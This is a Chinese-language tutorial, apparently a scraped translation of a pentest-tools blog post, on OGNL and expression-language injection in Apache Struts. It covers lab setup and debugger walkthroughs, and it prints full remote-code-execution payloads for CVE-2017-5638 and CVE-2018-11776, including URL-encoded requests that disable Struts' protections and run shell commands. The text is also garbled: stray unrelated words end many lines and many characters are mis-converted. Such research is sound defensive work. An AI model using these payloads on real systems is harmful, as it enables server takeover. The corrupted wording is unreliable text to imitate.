本文簡要介紹了Apache Struts的OGNL注入缺陷,文章中介紹使用簡單的應用程序復現OGNL注入。深刻研究針對公共漏洞,並理解這類漏洞。css
https://tomcat.apache.org/download-90.cgihtml
cd /var/tomcat/bin # Go to the extracted folder chmod +x *.sh # Set scripts as executable ./startup.sh # Run the startup script
轉到http://localhost:8080/並檢查它是否正在運行。前端
https://archive.apache.org/dist/struts/2.3.30/java
struts2-showcase.war是一個使用Struts編譯並準備部署的演示應用程序。python
只需將WAR文件複製/var/tomcat/webapps
。git
訪問http://localhost:8080/struts2-showcase/showcase.action
github
https://en.wikipedia.org/wiki/Java_servletweb
處理servlet,Web服務器(例如Apache Tomcat)須要的組件:spring
支持HTTP / 1.1協議的Connector。它容許與servlet容器組件Apache Catalina進行通訊。express
肯定在Tomcat接收HTTP請求時須要調用哪些servlet的容器。將HTTP請求和響應從文本轉換爲servlet使用的Java對象。
Java servlet規範的全部詳細信息(最新版本爲4.0)
https://jcp.org/aboutJava/communityprocess/final/jsr369/index.html
https://www.tutorialspoint.com/struts_2/index.htm
Apache Struts框架依賴於MVC(模型 - 視圖 - 控制器)架構模式。它對應用程序頗有用,由於能夠分離主要的應用程序組件:
Apache Struts Web應用程序的通常體系結構:
Controller接收HTTP請求,FilterDispatcher負責根據請求調用正確的操做。而後執行該操做,View組件準備結果並將其發送給HTTP響應中的用戶。
使用rest-showcase演示應用程序測試漏洞節省不少時間。
帶有基本前端的簡單REST API。
編譯應用程序,創建Maven:
cd struts-2.3.30/src/apps/rest-showcase/ mvn package
找到如下文件:struts2-rest-showcase.war。經過將其複製到Tomcat服務器的webapps目錄,例如/var/tomcat/webapps。
rest-showcase應用源代碼:
可用文件說明:
Order.java
是模型。它是一個存儲訂單信息的Java類。public class Order { String id; String clientName; int amount; … }
OrdersService.java
是一個幫助程序類,它將Orders存儲在HashMap中並對其進行管理。public class OrdersService { private static Map<String,Order> orders = new HashMap<String,Order>(); … }
IndexController.java
和OrderController.java是Struts應用程序的控制器或動做。JSP經過將靜態HTML與在服務器上執行的動態代碼混合,能夠生成動態HTML代碼。
與PHP相似,能夠混合使用Java和HTML代碼。如下是一個例子:
<li><p><b>First Name:</b> <%= request.getParameter("first_name")%> </p></li> <li><p><b>Last Name:</b> <%= request.getParameter("last_name")%> </p></li>
如上面的代碼片斷所示,可使用請求帶有HTML代碼的對象並調用getParameter函數,該函數返回參數first_name和last_name的值。
遵循MVC設計模式並避免View(JSP)和Model / Controller(Java)之間的複雜混合,能夠在JSP文件中使用表達式語言。使View可以與Java應用程序通訊:
<jsp:text> Box Perimeter is: ${2*box.width + 2*box.height} </jsp:text>
此功能也稱爲服務器端模板,容許在服務器上建立HTML 模板,管理HTML和Java代碼組合。可使用多個服務器端模板引擎,例如FreeMarker,Velocity或Thymeleaf。
經過模板引擎使用一些特殊的編程語言,是服務器端模板注入漏洞的基礎。
當模板引擎解析或解釋用戶提供的數據時,會出現問題。由於模板引擎一般包括調用函數的方法,能夠執行操做系統命令。
使用FreeMarker模板引擎檢查此示例:
<head> <title>${title}</title> </head> … <#if animals.python.price == 0> Pythons are free today! </#if>
在上面的代碼中,若是知足條件,則會生成動態生成的標題和消息。
攻擊者能夠打印動態內容,也能夠是敏感信息,如應用程序配置數據。
此外,若是模板引擎容許,還能夠執行操做系統命令。如下是FreeMarker的示例:
<#assign ex="freemarker.template.utility.Execute"?new()> ${ ex("id") }
表達式語言用於建立服務器端模板,所以它也能夠被視爲服務器端模板引擎。但因爲它也知足其餘目的,所以其中的漏洞並不是嚴格意義上的注入類型。如下是一些例子:
${customer.address["street"]} ${mySuit == "hearts"} ${customer.age + 20} #{customer.age} ${requestScope[’javax.servlet.forward.servlet_path’]}
用戶可能可以執行用戶提供的表達式語言代碼,所以這意味着應用程序可能容易受到表達式語言注入的攻擊。
ExpressionLanguageInjection.pdf:由於使用了${EL}
語法,因此很容易找到表達式語言的缺陷。例如,一個簡單的數學運算,例如${9999+1}
將被評估10000
,可能在響應中可見。
使用表達式語言的默認範圍來檢索實際信息,例如${applicationScope}
或${requestScope}
。深刻利用這個特性就會產生遠程代碼執行,spring-remote-code-with-expression-language-injection。表達式語言注入能夠容許會話對象修改和提高用戶權限的管理員級別:
${pageContext.request.getSession().setAttribute("admin",true)}
最後,甚至可能使用如下方法獲取遠程執行代碼:
${pageContext.getClass().getClassLoader().getParent().newInstance(pageContext.request.getSession().getAttribute("arr").toArray(pageContext.getClass().getClassLoader().getParent().getURLs())).loadClass("Malicious").newInstance()}
經過拒絕用戶提供的表達式語言解析函數輸入,保持全部依賴關係更新,甚至經過正確轉義#{
和${
用戶輸入的序列,能夠防止此類漏洞。
對象圖導航語言(OGNL)是一種用於Java的開源表達式語言。OGNL的主要功能是獲取和設置對象屬性:「 在Java中能夠作的大部分工做均可以在OGNL中實現。」
例如處理訂單,
public class Order { String id; String clientName; int amount; … }
能夠在JSP文件中直接訪問訂單屬性,以下所示:
<!DOCTYPE html> <%@taglib prefix="s" uri="/struts-tags" %> ... <s:form method="post" action=`**`%{#request.contextPath}/orders/%{id}`**` cssClass="form-horizontal" theme="simple"> <s:hidden name="_method" value="put" /> ID <s:textfield id=`**`"id"`**` name="id" disabled="true" cssClass="form-control"/> Client `<s:textfield id=`**`"clientName"`**` name="clientName" cssClass="form-control"/>` Amount `<s:textfield id=`**`"amount"`**` name="amount" cssClass="form-control" /> <s:submit cssClass="btn btn-primary"/> </s:form>
使用%{code}
和${code}
序列評估OGNL表達式。正如其commons-ognl/language-guide中所述,OGNL容許如下內容:
name
或headline.text
toCharArray()
listeners[0]
name.toCharArray()[0].numericValue.toString()
也可使用variables(#var = 99
),create arrays(new int[] { 1, 2, 3 }
)或maps(#@java.util.LinkedHashMap@{ "foo" : "foo value", "bar" : "bar value" }
),甚至訪問靜態字段(@class@field
或調用靜態方法:) @class@method(args)
。
OGNL是一種功能強大的語言,但在Apache Struts中將用戶提供的輸入視爲OGNL會影響安全性。如下爲用rest-showcase應用程序演示的漏洞例子,爲全部Order
屬性提供getter和setter ,例如:
public String getClientName() { return clientName; } public void setClientName(String clientName) { this.clientName = clientName; }
經過導入三個額外的包和調用TextParseUtil.translateVariables
方法,修改setter使其產生OGNL注入攻擊,而後調用。例子中是修改clientName
參數中的值。
import com.opensymphony.xwork2.ActionContext;
import com.opensymphony.xwork2.util.TextParseUtil;
import com.opensymphony.xwork2.util.reflection.ReflectionContextState;
…
public void setClientName(String clientName) {
ReflectionContextState.**
setDenyMethodExecution**
(ActionContext.getContext().getContextMap(), false);`
this.clientName =
TextParseUtil.translateVariables
`(clientName, ActionContext.getContext().getValueStack());
該translateVariables
方法達到如下代碼:
TextParser parser = ((Container)stack.getContext().get(ActionContext.CONTAINER)).getInstance(TextParser.class);
return **parser.evaluate**
(openChars, expression, ognlEval, maxLoopCount);
這將評估OGNL表達式(OgnlTextParser.java)。
使用簡單的數學運算,例如%{999+1}
測試漏洞。
客戶端名稱被解析爲OGNL,成功執行數學運算。
在調用translateVariables
函數以前,必須先調用setDenyMethodExecution
。方法執行被拒絕做爲保護措施,攻擊者沒法執行任何方法。
若是在開發階段遇到相似漏洞,則能夠在任何方法調用以前直接從有效負載啓用方法執行:
(#context['xwork.MethodAccessor.denyMethodExecution']=false)
使用舊的Java應用程序(如Struts 2.3.30)在IDEA調試器中編譯和運行:
1.轉到運行>調試>編輯配置
2.單擊+並選擇Maven
3.經過選擇Maven項目來指定工做目錄,例如rest-showcase
4.指定如下命令行:( jetty:run -f pom.xmlJetty是Web服務器)
訪問http://127.0.0.1:8080/struts2-rest-showcase/orders.xhtml
觸發對setClientName
斷點的調用。
CVE-2017-5638曾被利用於Equifax數據泄露。兩份漏洞代碼以下:
exploiting-apache-struts2-cve-2017-5638
Exploit-DB漏洞代碼:
python CVE-2017-5638.py http://localhost:8080/struts2-showcase/showcase.action "touch /tmp/pwned" [*] CVE: 2017-5638 - Apache Struts2 S2-045 [*] cmd: touch /tmp/pwned
完整的堆棧跟蹤以下:
doFilter(…)
調用prepare.wrapRequest(request);
方法的方法中處理請求wrapRequest
調用dispatcher.wrapRequest(request);
String
content_type = request.getContentType();if (content_type != null &&
content_type.contains("multipart/form-data")) {
...
request = new MultiPartRequestWrapper(mpr, request, getSaveDir(), provider, disableRequestAttributeValueStackLookup);` } else { request = new StrutsRequestWrapper(request, disableRequestAttributeValueStackLookup); }
若是Content-Type
請求的標頭包含multipart/form-data
字符串,則框架將使用MultiPartRequestWrapper類。
multi.parse(request, saveDir);
Content-Type
無效時會拋出異常:if ((null == contentType) || (
!contentType.toLowerCase(Locale.ENGLISH).startsWith(MULTIPART))) {
throw new InvalidContentTypeException( format("
the request doesn't contain a %s or %s stream, content type header is %s",MULTIPART_FORM_DATA, MULTIPART_MIXED, contentType));
buildErrorMessage
執行如下方法:( 其中e.getMessage()是包含漏洞利用的錯誤消息)LocalizedTextUtil.findText(this.getClass(), errorKey, defaultLocale,
e.getMessage(), args);
findText(aClass, aTextName, locale, defaultMessage, args, valueStack);
result = getDefaultMessage(aTextName, locale, valueStack, args, defaultMessage);
MessageFormat mf = buildMessageFormat(TextParseUtil.translateVariables(message, valueStack), locale);
Content-Type
帶有OGNL表達式的無效 標題會觸發CVE-2017-5638。出於某種緣由,解析了帶有OGNL表達式的異常消息。
漏洞環境:Struts 2.5.16
漏洞描述:apache_struts_CVE-2018-11776-part2、St2-057
在自定義配置下能夠成功利用:
cd struts-2.5.16/
find . -name struts-actionchaining.xml
./src/apps/showcase/src/main/resources/struts-actionchaining.xml
<struts>
標記以具備如下值:<struts> <package name="actionchaining" extends="struts-default"> <action name="actionChain1" class="org.apache.struts2.showcase.actionchaining.ActionChain1"> <result type="redirectAction"> <param name = "actionName">register2</param> </result> </action> </package> </struts>
使用struts2-showcase應用程序做爲目標。編譯它須要如下步驟:
cd src/apps/showcase/
#轉到Showcase目錄mvn package -DskipTests=true
#編譯它(並跳過測試)cp target/struts2-showcase.war /var/tomcat/webapps/
#複製到Tomcat訪問此URL來檢查應用程序是否易受攻擊:
http://127.0.0.1:8080/struts2-showcase/${22+22}/actionChain1.action
若是存在漏洞會重定向到http://127.0.0.1:8080/struts2-showcase/44/register2.action
。由於執行了表達式中的22+22
技術細節:https://lgtm.com/blog/apache_struts_CVE-2018-11776-exploit
C語言寫的漏洞利用程序:https://github.com/Semmle/SecurityExploits/blob/master/Apache/Struts/CVE-2018-11776/struts-attacker/src/startcalc.c
使用URL編碼的Payload發送如下的兩個請求:
一、 ${(#_=#attr['struts.valueStack']).(#context=#_.getContext()).(#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.setExcludedClasses('')).(#ognlUtil.setExcludedPackageNames(''))} 二、 ${(#_=#attr['struts.valueStack']).(#context=#_.getContext()).(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#context.setMemberAccess(#dm)).(#sl=@java.io.File@separator).(#p=new java.lang.ProcessBuilder({'bash','-c',**'xcalc'**})).(#p.start())}
EXP以下:
一、 http://127.0.0.1:8080/struts2-showcase/%24%7B%28%23%3D%23attr%5B%27struts.valueStack%27%5D%29.%28%23context%3D%23.getContext%28%29%29.%28%23container%3D%23context%5B%27com.opensymphony.xwork2.ActionContext.container%27%5D%29.%28%23ognlUtil%3D%23container.getInstance%28%40com.opensymphony.xwork2.ognl.OgnlUtil%40class%29%29.%28%23ognlUtil.setExcludedClasses%28%27%27%29%29.%28%23ognlUtil.setExcludedPackageNames%28%27%27%29%29%7D/actionChain1.action 二、 http://127.0.0.1:8080/struts2-showcase/%24%7B%28%23%3D%23attr%5B%27struts.valueStack%27%5D%29.%28%23context%3D%23.getContext%28%29%29.%28%23dm%3D%40ognl.OgnlContext%40DEFAULT_MEMBER_ACCESS%29.%28%23context.setMemberAccess%28%23dm%29%29.%28%23sl%3D%40java.io.File%40separator%29.%28%23p%3Dnew%20java.lang.ProcessBuilder%28%7B%27bash%27%2C%27-c%27%2C%27xcalc%27%7D%29%29.%28%23p.start%28%29%29%7D/actionChain1.action
預期的結果應該是彈出計算器:
查看調試器中的Payload有助於理解其工做原理。 請注意,字符串/struts2-showcase/${2+4}/actionChain1.action
中的$ {2 + 4}
在Struts中稱爲名稱空間,actionChain1
是操做。
調用execute(ActionInvocation invocation)方法具備如下效果:
if (namespace == null) { namespace = invocation.getProxy().getNamespace(); // namespace is 「/${2+4}」 } … String tmpLocation = actionMapper.getUriFromActionMapping(new ActionMapping(actionName, namespace, method, null)); setLocation(tmpLocation); // tmpLocation is 「/${2+4}/register2.action」 super.execute(invocation);
execute方法也調用super.execute(invocation);
而後調用此方法:
/** Implementation of the `execute` method from the `Result` interface. This will call the abstract method {@link #doExecute(String, ActionInvocation)} after optionally evaluating the location as an OGNL evaluation /* public void execute(ActionInvocation invocation) throws Exception { lastFinalLocation = conditionalParse(location, invocation); doExecute(lastFinalLocation, invocation); }
conditionalParse方法解析OGNL表達式的參數(在第一步中使用setLocation方法以前設置的位置):
/** Parses the parameter for OGNL expressions against the valuestack … */ protected String conditionalParse(String param, ActionInvocation invocation) { if (parse && param != null && invocation != null) { return TextParseUtil.translateVariables( param, invocation.getStack(), new EncodingParsedValueEvaluator());
結果是能夠執行任意OGNL表達式。
結果是能夠執行任意OGNL表達式。 關於這個問題的更多細節
apache_struts_CVE-2018-11776-part2
要點:當使用動做鏈時,來自用戶的命名空間將被解析爲OGNL。
漏洞中的Payload沒有寫成這樣的形式:%{@java.lang.Runtime@getRuntime().exec('command')}
,有兩個緣由。 一個是指由Struts維護者實現的保護機制,另外一個是讀取命令輸出的相關功能(跨平臺)。
相關知識頁面:https://lgtm.com/blog/apache_struts_CVE-2018-11776-exploit
(#_='multipart/form-data'). (#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS). (#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']). (#context['xwork.MethodAccessor.denyMethodExecution']=false). (#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)). (#ognlUtil.getExcludedPackageNames().clear()). (#ognlUtil.getExcludedClasses().clear()). (#context.setMemberAccess(#dm)))). (#cmd='/usr/bin/touch /tmp/pwned').(#iswin=@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))). (#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})). (#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()). (#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())). (@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())
1. #_ ='multipart / form-data' - 一個隨機變量,由於咱們的有效負載中須要multipart / form-data字符串才能觸發漏洞 2. #dm = @ ognl.OgnlContext @ DEFAULT_MEMBER_ACCESS - 使用DefaultMemberAccess的值建立dm變量(比SecurityMemberAccess限制更少) 3. #_memberAccess?(#_memberAccess=#dm) – 若是_memberAccess類存在,將其替換爲dm變量的DefaultMemberAccess 4. #container=#context[‘com.opensymphony.xwork2.ActionContext.container’] – 從上下文中獲取容器,將在後面須要用到 5. #ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class) – 使用它來獲取OgnlUtil類的實例(咱們沒法直接執行,由於它被列入了黑名單之中,完整的列表位於./src/core/src/main/resources/struts-default.xml) 6. #ognlUtil.getExcludedPackageNames().clear() – 清除不包含的包名稱 7. #ognlUtil.getExcludedClasses().clear() – 清除不包含的類 8. #context.setMemberAccess(#dm) – 將DefaultMemberAccess設置爲當前上下文 9. #cmd=’/usr/bin/touch /tmp/pwned’ – 定義咱們想要執行的命令 10. #iswin=(@java.lang.System@getProperty(‘os.name’).toLowerCase().contains(‘win’)) – 若是應用程序在Windows上運行,則保存在變量中(跨平臺漏洞) 11. #cmds=(#iswin?{‘cmd.exe’,’/c’,#cmd}:{‘/bin/bash’,’-c’,#cmd}) – 指定如何根據操做系統執行命令(cmd.exe或bash) 12. #p=new java.lang.ProcessBuilder(#cmds) – 使用ProcessBuilder類來運行命令(參數) 13. #p.redirectErrorStream(true) – 查看命令的錯誤輸出,可能也會有幫助 14. #process=#p.start() – 執行命令 15. #ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream()) – 獲取響應的輸出流,將數據發送回用戶 16. @org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros) – 獲取執行命令的輸出 17. #ros.flush() – 刷新,確保咱們發送全部數據。
對CVE-2018-11776的漏洞利用有一些不一樣之處:
1. #_=#attr[‘struts.valueStack’] – 使用attr獲取ValueStack 2. #context=#_.getContext() – 獲取上下文 3. #container=#context[‘com.opensymphony.xwork2.ActionContext.container’] – 獲取容器 4. #ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class) – 獲取對OgnlUtil類的引用 5. #ognlUtil.setExcludedClasses(‘’) – 清除不包含的類 6. #ognlUtil.setExcludedPackageNames(‘’) – 清除不包含的包名稱 7. #dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS – 使用值DefaultMemberAccess定義變量dm 8. #context.setMemberAccess(#dm) – 設置DefaultMemberAccess而不是SecurityMemberAccess 9. #sl=@java.io.File@separator – 未使用 10. #p=new java.lang.ProcessBuilder({‘bash’,’-c’,’xcalc’}) – 使用命令(xcalc)聲明ProcessBuilder 11. #p.start() – 執行命令
儘管Apache Struts是一個衆所周知且普遍使用的框架,但因爲缺少公開的安全研究,使其仍然可能成爲一個簡單的目標。有關該主題的公開研究知識,能夠在LGTM博客中得到。
OGNL注入漏洞影響Apache Struts的多個版本,而且是經過濫用代碼中現有功能來實現遠程執行代碼的一個良好示例。
漏洞利用一開始可能看起來很困難,但實際上並不是如此,調試器老是很是有幫助。熟悉Java可能對安全研究者來講很是困難,但最終會變成優點。
在全部新研究中,耐心是最有價值的品質。咱們的建議是,當事情變得困難時,不要輕易放棄。而且善於提出問題,安全社區老是一個最有幫助的地方。
https://pentest-tools.com/blog/exploiting-ognl-injection-in-apache-struts/